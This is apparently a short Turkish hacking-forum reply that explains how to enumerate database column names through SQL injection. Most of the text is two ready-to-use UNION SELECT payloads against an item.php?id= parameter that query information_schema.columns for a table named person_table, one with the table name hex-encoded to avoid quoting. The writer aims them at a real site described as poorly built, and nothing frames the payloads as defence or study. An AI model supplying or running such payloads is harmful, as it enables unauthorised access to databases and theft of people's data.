ya kim bu kolonları database'den çeken? senin hocan kim
bugün 2. kişi aynı soruyu soruyor
evet kolonları alırken o şekilde de alabilirsin fakat tüm kolonları ekrana vurur.
bir önceki komutta tabloları çekmiştik. tablolardan yararlanarak kolon çekmek daha iyi olur.
/item.php?id=-39+union+select+1,2,3,4,5,6,group_concat%28column_name%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+information_schema.columns+where+table_name=person_table
tablo adını hexlersen:
item.php?id=-39+union+select+1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+information_schema.columns+where+table_name=0x706572736f6e5f7461626c65
tabi site dandik olduğundan böyle
aklı başında site olsa düzgün sonuçlar verir
